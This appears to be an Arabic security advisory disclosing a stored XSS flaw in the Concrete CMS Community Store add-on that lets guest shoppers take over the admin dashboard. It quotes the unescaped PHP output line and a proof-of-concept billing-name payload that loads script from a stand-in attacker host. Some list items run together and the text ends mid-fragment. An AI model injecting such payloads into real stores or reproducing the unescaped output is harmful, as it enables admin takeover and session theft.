
XSS مخزّن في Concrete CMS Community Store يؤدي إلى الاستيلاء على لوحة تحكم المسؤول
| CVE | CVE-2026-93659 |
| المكوّن | concretecms-community-store/community_store |
| النوع | Cross-Site Scripting مخزّن (CWE-79) |
| الخطورة | CVSS v4.0 9.3 حرجة / v3.1 8.7 عالية |
| المتأثرة | جميع الإصدارات قبل 2.7.8 |
| تم الإصلاح في | 2.7.8 |
| الفضل | Prince Edem Fiagbedzi (المكتشف) |
Community Store، وهي إضافة تجارة إلكترونية مفتوحة المصدر لـ Concrete CMS، كانت تخزّن حقول الطلبات المقدَّمة من العملاء دون تعقيمها وتعرضها دون تهريب HTML عبر أربع واجهات موجهة للمسؤول. كان بإمكان أي زائر غير مصادَق عليه تقديم طلب يحتوي على حمولة برمجية في حقل مثل الاسم الأول للفاتورة، وكانت الحمولة تُنفَّذ داخل جلسة مصادَقة لمدير المتجر في لوحة التحكم في المرة التالية التي يفتح فيها ذلك الطلب، وهو ما يكفي لإنشاء حساب مسؤول مزيف أو تسريب بيانات الجلسة.
يحمل كل طلب حقولاً مقدَّمة من العميل: الاسم الأول والأخير للفاتورة/الشحن، والبريد الإلكتروني، والهاتف. تُخزَّن هذه الحقول كما هي وتُعرض مرة أخرى في أربعة أماكن يطّلع عليها مدير المتجر بشكل روتيني:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)والأهم من ذلك، أن تقديم طلب لا يتطلب أي حساب. فإعداد الدفع كضيف في Community Store
يكون افتراضيًا على always، وقد ضبطه بهذه الطريقة مثبِّت الحزمة نفسه عند كل
تثبيت جديد، وليس شيئًا يجب على مشغّل المتجر تفعيله. لذا فهذه ليست ثغرة
تحتاج إلى متجر مُهيَّأ بشكل خاطئ؛ بل قابلة للاستغلال ضد تثبيت
افتراضي جاهز من الصندوق، دون الحاجة إلى أي بيانات اعتماد.
حدِّث Community Store إلى 2.7.8 أو أحدث. يضيف الإصلاح تهريبًا مناسبًا للمخرجات في جميع مواقع العرض الأربعة المتأثرة. لا يوجد حل بديل عبر الإعدادات دون الترقية، لأن السلوك الثغرة هو التهريب نفسه، وليس مفتاحًا قابلًا للتبديل.
لم يقم أي من مواقع العرض الأربعة بتهريب الحقول التي يتحكم بها العميل. سطر تمثيلي من عرض الطلب في لوحة التحكم:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
لا يوجد استدعاء لـ h()، وهي دالة التهريب القياسية للمخرجات في Concrete، في أي مكان قريب منه،
رغم أن الملف نفسه استخدم h() بشكل صحيح على بعد أسطر قليلة لقيم أخرى. ولم يكن
التحقق من المدخلات أفضل حالًا: كان الفحص الوحيد المطبَّق على هذه الحقول هو حد
للطول (1-255 حرفًا)، ولا شيء يزيل أو يرفض HTML.
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
حمولة <script> يقل طولها عن 255 حرفًا في حقل الاسم الأول للفاتورة تمر
عبر التحقق دون تغيير، وتُخزَّن، ثم تُعرض لاحقًا دون تهريب في أي مكان يطّلع فيه المسؤول
على الطلب.
يُضبط الإعداد الافتراضي للدفع كضيف مباشرةً في المثبِّت:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
لا يفرض متحكّم الدفع تسجيل الدخول إلا عندما يكون ذلك الإعداد off (أو
option دون علامة الضيف)، ومع الإعداد الافتراضي المثبَّت، لا يُفعَّل ذلك الفرع
أبدًا.
تم الاختبار ضد Community Store v2.7.7 على Concrete CMS 9.5.2 (مختبر Docker مستضاف ذاتيًا، PHP 8.3). أُرسلت الحمولة كدفع عادي كضيف، دون أي مصادقة من أي نوع:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6،
مضيفًا تهريب h() إلى جميع مواقع العرض الأربعة المتأثرة